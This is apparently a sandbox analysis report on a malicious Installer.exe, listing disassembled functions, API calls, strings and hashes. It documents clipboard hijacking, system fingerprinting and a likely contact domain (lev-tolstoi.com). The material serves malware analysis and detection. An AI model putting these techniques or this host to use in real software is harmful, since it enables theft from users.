Instruction Fuzzy Hash: C0416871D006188FCF26DF98D884BADBBF4FB49320F054269E8196B391DB34A984CF91

Function 00361DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00361E2A
__dosmaperr.LIBCMT ref: 00361E31
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00361E6B
__dosmaperr.LIBCMT ref: 00361E72

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: ffa14c7af1baedb5311d2b34e446f65b0733bed5002bc98fd63775acf3e38e13
Instruction ID: 8bc2f35ff8a21187aeb032a5b14694d32dc86620d7e99aba21bb7ce4c20332d3
Opcode Fuzzy Hash: ffa14c7af1baedb5311d2b34e446f65b0733bed5002bc98fd63775acf3e38e13
Instruction Fuzzy Hash: 5421F231600605AFDB23AF65D881C3BB7ACFF04365B19C518FC199B111D732EC008BA0

Function 00352BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c460e149bd92b2fa04ca2c258af1b64ed0554711ba4bece82d52f1b2a880939
Instruction ID: 23f9d25a1c83684b93f08ca119a268316203ad9f59aafdab98bf130b82a09aec
Opcode Fuzzy Hash: 0c460e149bd92b2fa04ca2c258af1b64ed0554711ba4bece82d52f1b2a880939
Instruction Fuzzy Hash: D3219F71204605AF9B23AF69DC81D6B77ACFF42366B114515FC559B272EB30EC4887A0

Function 003631BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003631C6

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003631FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0036321E

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: bfc50a59e58c59c4754a1a52a099cd8345fd0a77f2ca8fe07f850aa0788732d0
Instruction ID: 072fb815d42100d20cf2fd9bf15f58411994e76d108df96f26c62e3d25d94826
Opcode Fuzzy Hash: bfc50a59e58c59c4754a1a52a099cd8345fd0a77f2ca8fe07f850aa0788732d0
Instruction Fuzzy Hash: 951122B150061A7EE72327B1EC9ACBFBA5CDE843A57114828FA05DA101FF60DF0481B0

Function 0034E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034E899
std::_Lockit::_Lockit.LIBCPMT ref: 0034E8A3
int.LIBCPMT ref: 0034E8BA

Part of subcall function 0034C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0034C1F6
Part of subcall function 0034C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0034C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0034E914

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 5533519127dc2bf48ce8709f26e255506314c73d5bd072606defbc22f5b16ce2
Instruction ID: 707bf230c73dbc605cbf6ad098ca5aea5a6bf16c5e4d068d79ad36078ed7420b
Opcode Fuzzy Hash: 5533519127dc2bf48ce8709f26e255506314c73d5bd072606defbc22f5b16ce2
Instruction Fuzzy Hash: 0211CE368002199BCB07EBA4C945AADBBE5BF84720F254108E415AF282CF74BA40CB81

Function 0036ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000), ref: 0036ADB7
GetLastError.KERNEL32(?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?,?,?,00363CD6,00000000), ref: 0036ADC3

Part of subcall function 0036AE20: CloseHandle.KERNEL32(FFFFFFFE,0036ADD3,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?,?), ref: 0036AE30

___initconout.LIBCMT ref: 0036ADD3

Part of subcall function 0036ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0036AD91,0036A2DC,?,?,00364390,?,00000000,00000000,?), ref: 0036AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?), ref: 0036ADE8

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 67e58375ea87ec9d6a1b856cbfe6b341d7bf536f0b3f4bd010d1d99a6644f5bd
Instruction ID: 9109f6c398f9937bbdc916606d65ec4a747ac4cdccb0c86be9f68c66c1adea69
Opcode Fuzzy Hash: 67e58375ea87ec9d6a1b856cbfe6b341d7bf536f0b3f4bd010d1d99a6644f5bd
Instruction Fuzzy Hash: 78F01C36510519BBCF331FD5DC29A9A3F2AFF087A1F018011FA0CA6521DB328CA0AF91

Function 003504F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00350507
GetCurrentThreadId.KERNEL32 ref: 00350516
GetCurrentProcessId.KERNEL32 ref: 0035051F
QueryPerformanceCounter.KERNEL32(?), ref: 0035052C

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 3739b4fd72965dfd99f0d456f10d44e9517a5158b9999bca39628581159b863b
Instruction ID: 9fb4e24d89b50e4c71a22ad4bef1a8743c99a75cd5a61e0592cc5a6efbf2cd4f
Opcode Fuzzy Hash: 3739b4fd72965dfd99f0d456f10d44e9517a5158b9999bca39628581159b863b
Instruction Fuzzy Hash: 55F05F74D1060DEBCB11DBB4DA5999EBBF8FF1C300F914995A416E6110EA30AA849F50

Function 0035B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0035B893,?,?,00000000,00000000,00000000,?), ref: 0035B9B7

Strings

RCC, xrefs: 0035B9D1
MOC, xrefs: 0035B9C9

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 3fc67f2eca506d9bb93ef8dd45fe0c9a6afef89c77e00d5c2118219ddc1fc749
Instruction ID: b5af09d52566c6b8535ea93e5b8d7e0310d59ab860fdef90cee510f8ff9d0ecf
Opcode Fuzzy Hash: 3fc67f2eca506d9bb93ef8dd45fe0c9a6afef89c77e00d5c2118219ddc1fc749
Instruction Fuzzy Hash: 88415931900249EFCF16DF94CC81EAEBBB5BF48301F198159FD14AB221D3359954DB91

Function 0035B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0035B475

Strings

csm, xrefs: 0035B497
csm, xrefs: 0035B508

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: af5adfafb35bc47e4538fa7f6a7d4a1834672c2df0c3fe839954aceda9cd7bfd
Instruction ID: bd95583374b4524900fbd54f8e52f8a5132a8e9b86138774bdf70f5e8668abf4
Opcode Fuzzy Hash: af5adfafb35bc47e4538fa7f6a7d4a1834672c2df0c3fe839954aceda9cd7bfd
Instruction Fuzzy Hash: 6B31B4B1400219EBCF2B9F51C840CAAFB66FF0A316B194A5AFD4449132D332DD69DBC1

Function 0034B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0034B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0034B8DE

Part of subcall function 0035060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0034F354,00000000,?,?,?,0034F354,00343D4A,0037759C,00343D4A), ref: 0035066D

Part of subcall function 00358353: IsProcessorFeaturePresent.KERNEL32(00000017,0035378B,?,?,?,?,00000000,?,?,?,0034B5AC,0034B4E0,00000000,?,?,0034B4E0), ref: 0035836F

Strings

csm, xrefs: 0034B86D

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 7163041cfe131668073d4e0cb508c92508843b21a47d289ae2a4aa47554f3c32
Instruction ID: 6fd867c1edb22f4dfcf11d0c4d9ec3cabdf6f637751b9cb28c5d870b53d0067e
Opcode Fuzzy Hash: 7163041cfe131668073d4e0cb508c92508843b21a47d289ae2a4aa47554f3c32
Instruction Fuzzy Hash: 28212332E00258ABCF269F99D845AAEF7F9AF44710F1A0419E906AF251CB74FD458B81

Function 0034B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00342673

Strings

bad array new length, xrefs: 00342626
ios_base::badbit set, xrefs: 00342650

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 49d90b9156ea27dcf9c095b4e568480555acce01824235d369e4c5aa786fd053
Instruction ID: 7575760331b262d4d5252574687621eab1024c7ca8812d132648d09d717308a2
Opcode Fuzzy Hash: 49d90b9156ea27dcf9c095b4e568480555acce01824235d369e4c5aa786fd053
Instruction Fuzzy Hash: D10171F1614301ABDB159F28D855A5BBBE8DF08318F11881CF45D9F351D379E858CB81

Function 00342610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 0035060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0034F354,00000000,?,?,?,0034F354,00343D4A,0037759C,00343D4A), ref: 0035066D

___std_exception_copy.LIBVCRUNTIME ref: 00342673

Strings

bad array new length, xrefs: 00342626
ios_base::badbit set, xrefs: 00342650

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 6a17d9b0a23b0cb2beae78c6f2b30fcd8ebba35efc8af4e481d163d882be38f1
Instruction ID: 9cea460e9543a65c50e711778be0718b2a77089908f449da2b5c7e84535b5cae
Opcode Fuzzy Hash: 6a17d9b0a23b0cb2beae78c6f2b30fcd8ebba35efc8af4e481d163d882be38f1
Instruction Fuzzy Hash: 00F0F8F5A14300ABD715AF18D945B47BBE4EB49719F01C81CF9989B310D3B9D458CB92

Analysis Process: Installer.exePID: 7488, Parent PID: 7424COMMON

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	5.7%
Signature Coverage:	45.9%
Total number of Nodes:	279
Total number of Limit Nodes:	18

Executed Functions

Function 004396A0 Relevance: 21.6, APIs: 11, Strings: 1, Instructions: 644
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044468C,00000000,00000001,0044467C,00000000), ref: 004399AB
SysAllocString.OLEAUT32(C197C794), ref: 00439A18
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439A56
SysAllocString.OLEAUT32(B2ECBC14), ref: 00439AD9
SysAllocString.OLEAUT32(77B37587), ref: 00439B6B
VariantInit.OLEAUT32(BFBEBDA4), ref: 00439BDB
VariantClear.OLEAUT32(BFBEBDA4), ref: 00439D18
SysFreeString.OLEAUT32(?), ref: 00439D3C
SysFreeString.OLEAUT32(?), ref: 00439D42
SysFreeString.OLEAUT32(00000000), ref: 00439D4F
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00439D8B

Strings

&v, xrefs: 00439851

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: String$AllocFree$Variant$BlanketClearCreateInformationInitInstanceProxyVolume
String ID: &v
API String ID: 2573436264-996230610
Opcode ID: c76a795488dcaea1087b38c4a21f4ec032b56208ede1dfedf05bb0fa22a11b63
Instruction ID: 2eae229d14a92933328e5725d2ae13478f160aa11d56bd9171fe0ff53e23d803
Opcode Fuzzy Hash: c76a795488dcaea1087b38c4a21f4ec032b56208ede1dfedf05bb0fa22a11b63
Instruction Fuzzy Hash: 4E22F072A083409FD714CF29C845B5BBBE6EFC9324F18992DE5958B381DB78D805CB86

Function 04FE1000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000001), ref: 04FE1032
OpenClipboard.USER32(00000000), ref: 04FE103C
GetClipboardData.USER32(0000000D), ref: 04FE104C
GlobalLock.KERNEL32(00000000), ref: 04FE105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 04FE1090
GlobalLock.KERNEL32 ref: 04FE10A0
GlobalUnlock.KERNEL32 ref: 04FE10C1
EmptyClipboard.USER32 ref: 04FE10CB
SetClipboardData.USER32(0000000D), ref: 04FE10D6
GlobalFree.KERNEL32 ref: 04FE10E3
GlobalUnlock.KERNEL32(?), ref: 04FE10ED
CloseClipboard.USER32 ref: 04FE10F3
GetClipboardSequenceNumber.USER32 ref: 04FE10F9

Memory Dump Source

Source File: 00000003.00000002.3522921714.0000000004FE1000.00000020.00000800.00020000.00000000.sdmp, Offset: 04FE0000, based on PE: true

Associated: 00000003.00000002.3522907777.0000000004FE0000.00000002.00000800.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3522934176.0000000004FE2000.00000002.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4fe0000_Installer.jbxd

Similarity

API ID: ClipboardGlobal$DataLockUnlock$AllocCloseEmptyFreeNumberOpenSequenceSleep
String ID:
API String ID: 1416286485-0
Opcode ID: 84aafcb5b5a6433c750eb38fd26a86e4e74b6fc77f0247bcffa5dad73278fab3
Instruction ID: cec12d2198a359d2410d731ba2306c2f27215f87582efa929451e5de5c7e6a75
Opcode Fuzzy Hash: 84aafcb5b5a6433c750eb38fd26a86e4e74b6fc77f0247bcffa5dad73278fab3
Instruction Fuzzy Hash: EF216232A042689FD7202B73FD09B7A77ACEF04757F060468FA45DA151FB759C01CAA2

Function 00415200 Relevance: 16.7, APIs: 1, Strings: 8, Instructions: 927
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

iiat, xrefs: 00415947
BxBG, xrefs: 00415926
eH, xrefs: 00415952
^123, xrefs: 004152B1
("D-, xrefs: 00415CF1
8"D-, xrefs: 00415D41
54+*, xrefs: 00415595
U, xrefs: 00415C0F

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: ("D-$54+*$8"D-$BxBG$U$^123$eH$iiat
API String ID: 0-2540653402
Opcode ID: ece7e7512deb2f3d0905023b68c116b96d26401af29463b746300dd7e0310da3
Instruction ID: 07982f48521f8885066ce7338b4bbbb716ab1cb9c22f471718dbf28f94ce43d7
Opcode Fuzzy Hash: ece7e7512deb2f3d0905023b68c116b96d26401af29463b746300dd7e0310da3
Instruction Fuzzy Hash: 5A5213B5909340CBD7249F24D895BEF77E2FFC5314F08492EE48A8B291E7389841CB96

Function 00412100 Relevance: 13.0, APIs: 3, Strings: 3, Instructions: 2485COMMON

Download Yara Rule

Strings

43, xrefs: 00413740, 00413D9E, 00413FD0, 00414211, 004136FC
`, xrefs: 004131B9
R=r, xrefs: 0041233D

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: 43$R=r$`
API String ID: 0-2203821455
Opcode ID: e0acb60d089736bb0bc83eef3c2f5b7921e34f4d2e47646672359cc6aa43a476
Instruction ID: 43e4bfb613ce475d3ef6dd8407ebf538eeec7cf6cf239a2e9ee7b256e35944b9
Opcode Fuzzy Hash: e0acb60d089736bb0bc83eef3c2f5b7921e34f4d2e47646672359cc6aa43a476
Instruction Fuzzy Hash: D9230571D083908FDB10DF38C84579EBFF1AB56310F0982AAD499AB3D2D7788985CB56

Function 00422E3F Relevance: 11.2, Strings: 8, Instructions: 1220COMMON

Download Yara Rule

Strings

"=B, xrefs: 00423D12
H, xrefs: 00422FF4
%: !, xrefs: 00422F7F
x}}s, xrefs: 00422F17
4, xrefs: 00423032
de, xrefs: 00423253
lev-tolstoi.com, xrefs: 00423299
%! 0, xrefs: 00422F87

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID:
String ID: "=B$%! 0$%: !$4$H$de$lev-tolstoi.com$x}}s
API String ID: 0-3503028355
Opcode ID: 19c0ccc2f21457345f6c989c8bd1b427ac2a30c96d4d5a23cba524a46654f40a
Instruction ID: 2d009fd93e7b9374216b3497db79d8202485ae03d753f23917b742f1bf9f436d
Opcode Fuzzy Hash: 19c0ccc2f21457345f6c989c8bd1b427ac2a30c96d4d5a23cba524a46654f40a
Instruction Fuzzy Hash: 41821F75708311CFD324CF28E89176BB7E2EB8A311F59897CE59187391D738A906CB86

Function 00423D40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 551
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 00423E29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 00423EAB

Strings

0M9O, xrefs: 0042403B
y{, xrefs: 00424053
5]=_, xrefs: 0042401B

Memory Dump Source

Source File: 00000003.00000002.3522518136.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3522518136.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Installer.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 0M9O$5]=_$y{
API String ID: 237503144-4183424673
Opcode ID: d1574f89f3c02ea997317bd1e207d191307d53352c373396b29da17b6e90c07b
Instruction ID: 3637a5695bacef2f7ae8854d885bc1190330819d14954c5e0cbca8e40a0a3ce6
Opcode Fuzzy Hash: d1574f89f3c02ea997317bd1e207d191307d53352c373396b29da17b6e90c07b
Instruction Fuzzy Hash: 0A02DAB46183409FE314DF65E88166FBBE1FBD1308F44892DE5C58B391EB788906CB56

Function 004085F0 Relevance: 7.7, APIs: 5, Instructions: 170
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00408614
GetCurrentThreadId.KERNEL32 ref: 0040861E
SHGetSpecialFolderPathW.SHELL32(00000000,?,00000010,00000000), ref: 00408696
GetForegroundWindow.USER32 ref: 00408761

Part of subcall function 0040B470: FreeLibrary.KERNEL32(004087D9), ref: 0040B476
Part of subcall function 0040B470: FreeLibrary.KERNEL32 ref: 0040B497

ExitProcess.KERNEL32 ref: 004087F2

Memory Dump Source

